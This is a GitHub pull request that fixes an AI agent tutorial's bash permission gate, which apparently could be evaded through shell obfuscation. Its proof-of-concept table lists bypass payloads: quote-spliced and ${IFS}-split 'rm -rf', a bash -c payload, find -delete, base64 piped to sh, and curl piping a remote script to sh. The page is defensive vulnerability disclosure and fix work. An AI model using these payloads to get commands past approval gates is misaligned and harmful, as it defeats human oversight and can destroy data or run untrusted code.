Repository navigation
fix(permission): parse shell words before deny/destructive checks to stop quote/IFS bypasses - #596
Open
failsafesecurity wants to merge 1 commit into
Conversation
The bash permission gate matched raw substrings, so quote splicing (`r''m`),
${IFS} splitting, $'...' quoting, backslash escapes, `find -delete`, and
pipe-to-shell bypassed both the deny list and the destructive-command rule and
executed for real with no approval prompt.
Replace the substring gate with a shared parser that tokenizes the command into
shell words (normalising ${IFS}, ${VAR}, $'...' and $VAR before lexing),
splits it into pipeline segments, resolves argv[0] to its basename, and denies
by command name plus argv inspection. Interpreters (`bash -c`, pipe-to-shell),
`find -delete`, and delegating commands (xargs/env/...) are inspected through
to their payloads, redirects to sensitive paths require approval, and
unparseable quoting fails closed.
Applied to s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17.
Updates the s11 background-tasks test, which previously passed only because the
substring gate matched `rm -rf /` inside `rm -rf /tmp/example`.
failsafesecurity
force-pushed
the
fix/permission-gate-shell-parsing
branch
from
October 15, 2026 00:25
6440954 to
cd0df65
Compare
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The bash permission gate in every chapter matched raw substrings against a deny list and a "destructive command" regex. Shell-level obfuscations therefore executed destructive commands with no approval prompt.
This is tracked as scan finding
cmv8oj8fz00lbmx01oudlt68k— "Bash permission gates use raw substring matching, so shell quote/expansion bypasses the deny list and executes arbitrary commands" (CVSS 4.0 8.7, HIGH; CWE-78, OWASP A05:2025 Injection).Proof of concept (summary)
Each of these slipped past
check_deny_listandcontains_destructive_command, yet the realrun_bashexecuted them:r''m -rf scratchrm${IFS}-rf scratch${IFS}field splitting$'r''m' -rf scratchbash -c 'rm${IFS}-rf scratch'-cpayloadfind scratch -deleteecho ZGF0YQ== | base64 -d | shcurl -s http://…/x.sh | shA plain
rm -rf victimdirtriggered the approval prompt; every obfuscated variant above returnedNonefrom all three gates and deleted the directory.Fix
Replace the substring gate with a shared parser (identical block in every chapter):
${IFS},$IFS,${VAR},$'...',$VAR— before lexing.shlex(posix,punctuation_chars=";&|()<>") sor''m→rmandr\m→rm. Unparseable quoting fails closed.argv[0]to its basename before matching.find -delete,dd if=/of=,truncate,mkfs, interpreter-cpayloads, pipe-to-shell, delegating commands (xargs/env/command/…), and redirects to sensitive paths (/etc/,/dev/, …) are all classified.check_deny_list()(always blocked) andcontains_destructive_command()(requires approval).Applied to s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17.
Tests
python -m pytest tests -q→ 481 passed, 100 subtests passed (3 remaining failures are pre-existing, environment-only: a GBK-decoding case and two web-asset snapshot checks).tests/test_background_tasks.py::test_background_bash_passes_permission_before_dispatchis updated: it previously passed only because the loose substring gate matchedrm -rf /insiderm -rf /tmp/example. The parsed gate correctly routes a scoped delete to approval, so the test now answers the prompt with a denial and asserts the same outcome.Notes
The deny list is documented and treated as advisory defence-in-depth, not a security boundary. A companion PR adds a dedicated regression test suite for these bypass payloads.
Scan ID:
cmv8cwn0900cemx01mergtg71· Finding ID:cmv8oj8fz00lbmx01oudlt68k